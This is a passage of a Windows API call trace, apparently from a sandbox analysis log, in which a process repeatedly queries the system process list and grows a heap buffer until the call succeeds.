ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.461] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0205.461] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.462] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0205.462] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.462] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0205.462] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.462] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0205.462] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.462] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0205.462] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.463] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0205.463] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.463] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0205.463] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.463] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0205.463] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.463] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0205.464] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0205.464] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0205.578] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0205.578] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0205.579] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0205.579] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0205.579] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0205.579] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.579] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0205.579] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.579] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0205.579] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.579] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0205.579] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.580] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0205.580] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.580] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0205.580] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.580] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0205.580] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.580] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0205.580] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.580] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0205.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.581] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0205.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.581] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0205.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.581] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0205.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.581] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0205.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.582] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0205.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.582] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0205.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.582] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0205.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.583] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0205.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0205.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0205.691] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0205.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0205.691] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0205.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0205.691] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0205.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.692] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0205.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.692] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0205.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.692] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0205.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.692] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0205.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.692] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0205.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.693] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0205.693] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.693] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0205.693] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.693] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0205.693] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.693] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0205.693] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.694] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0205.694] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.694] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0205.694] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.694] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0205.694] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.694] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0205.694] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.695] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0205.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.695] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0205.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.695] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0205.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.696] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0205.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0205.696] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0205.827] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0205.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0205.827] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0205.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0205.828] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0205.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.828] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0205.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.828] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0205.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.828] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0205.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.828] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0205.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.829] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0205.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.829] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0205.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.829] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0205.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.829] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0205.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.830] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0205.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.830] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0205.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.830] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0205.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0205.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0205.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0205.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.832] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0205.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.832] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0205.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.832] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0205.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.833] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0205.833] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0205.833] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0205.979] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0205.979] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0205.979] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0205.979] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0205.979] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0205.979] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.980] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0205.980] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.980] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0205.980] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.980] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0205.980] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.981] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0205.981] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.981] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0205.981] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.981] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0205.981] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.981] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0205.981] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.982] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0205.982] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.982] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0205.982] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.982] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0205.982] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.983] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0205.983] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.983] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0205.983] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.983] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0205.983] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.983] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0205.983] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.984] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0205.984] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.984] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, 